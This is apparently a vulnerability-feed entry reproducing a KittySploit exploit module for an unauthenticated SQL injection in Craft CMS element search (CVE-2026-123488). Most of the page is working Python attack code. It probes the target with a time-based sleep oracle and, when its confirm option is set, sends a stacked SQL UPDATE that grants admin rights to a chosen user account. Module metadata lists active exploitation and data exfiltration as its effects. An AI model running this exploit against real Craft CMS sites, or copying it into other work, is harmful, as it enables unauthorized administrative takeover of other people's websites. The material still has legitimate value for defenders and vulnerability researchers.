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Craft CMS CVE-2026-123488 Element Search SQLi

🗓️ 08 Nov 2026 10:08:30Reported by KittySploitType 
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Unauthenticated SQL injection in Craft CMS element search via search[attribute] parameter.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Craft CMS CVE-2026-123488 unauthenticated element search SQLi."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.craftcms_element_search import (
    craft_search_sqli_params,
    craft_stacked_admin_payload,
    probe_craft_element_search_sqli,
)


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Craft CMS CVE-2026-123488 Element Search SQLi",
        "description": (
            "CVE-2026-123488: search[attribute] is interpolated into SQL on vulnerable Craft CMS "
            "builds. check() uses a time-based oracle; run() is detect-only unless confirm=true, "
            "which sends a stacked UPDATE to set admin=1 on the chosen users row (MySQL/MariaDB)."
        ),
        "author": ["fixedbyreboot", "KittySploit Team"],
        "cve": ["CVE-2026-123488"],
        "platform": Platform.PHP,
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-123488",
            "https://github.com/fixedbyreboot/CVE-2026-123488-POC",
        ],
        "tags": ["craftcms", "sqli", "unauthenticated", "cve-2026-123488"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "data_exfiltration"],
            "expected_requests": 2,
            "approval_required": True,
            "produces": ["credentials", "exploit_paths", "risk_signals"],
            "requires": {"tech_hints_any": ["craftcms", "craft"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/craftcms_cve_2026_123488_detect",
                    "scanner/http/craft_cms_detect",
                ],
            },
        },
    }

    search_path = OptString("/index.php", "Search endpoint path", required=False)
    search_params = OptString("p=search", "Query string for search route", required=False)
    time_delay = OptInteger(5, "sleep() seconds for check()", required=False, advanced=True)
    users_table = OptString("users", "Users table name (with DB prefix if any)", required=False)
    admin_user = OptString("admin", "Username for stacked admin=1 UPDATE", required=False)
    confirm = OptBool(
        False,
        "Send stacked UPDATE to grant admin=1 (destructive; MySQL/MariaDB only)",
        required=True,
    )

    def _search_path(self) -> str:
        path = str(self.search_path or "/index.php").strip()
        if not path.startswith("/"):
            path = "/" + path
        extra = str(self.search_params or "").strip().lstrip("?")
        if extra and "?" not in path:
            return f"{path}?{extra}"
        if extra and "?" in path:
            return f"{path}&{extra}"
        return path

    def _http_get(self, path, params=None, timeout=None):
        return self.http_request(
            method="GET",
            path=path,
            params=params,
            timeout=timeout or int(self.time_delay or 5) + 20,
            allow_redirects=True,
        )

    def check(self):
        delay = int(self.time_delay or 5)
        info = probe_craft_element_search_sqli(self._http_get, self._search_path(), delay=delay)
        if info.get("error"):
            return {"vulnerable": False, "reason": info["error"], "confidence": "low"}
        if info.get("vulnerable"):
            return {
                "vulnerable": True,
                "reason": f"Time-based delay {info.get('elapsed', 0):.1f}s",
                "confidence": "high",
            }
        return {"vulnerable": False, "reason": "No time-based SQLi", "confidence": "medium"}

    def run(self):
        delay = int(self.time_delay or 5)
        info = probe_craft_element_search_sqli(self._http_get, self._search_path(), delay=delay)
        if not info.get("vulnerable"):
            print_error(info.get("error") or "Not vulnerable / inconclusive")
            self.not_vulnerable()
            return False

        print_success("CVE-2026-123488 time-based SQLi confirmed")
        if not self.confirm:
            print_status("Detect-only (confirm=true runs stacked UPDATE admin=1)")
            self.set_info(severity="critical", cve="CVE-2026-123488", reason="Element search SQLi")
            return True

        payload = craft_stacked_admin_payload(
            str(self.users_table or "users"),
            str(self.admin_user or "admin"),
        )
        params = craft_search_sqli_params(payload)
        response = self._http_get(self._search_path(), params=params)
        if not response:
            print_error("Stacked UPDATE request failed")
            return False
        user = str(self.admin_user or "admin")
        print_success(f"Stacked UPDATE sent for user {user!r} — verify admin flag / CP login")
        self.set_info(
            severity="critical",
            cve="CVE-2026-123488",
            reason="Granted admin=1 via stacked SQL",
            username=user,
            table=str(self.users_table or "users"),
        )
        return True

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08 Nov 2026 10:08Current
6Medium risk
Vulners AI Score6
CVSS 49.3
CVSS 3.19.8
EPSS0.00476
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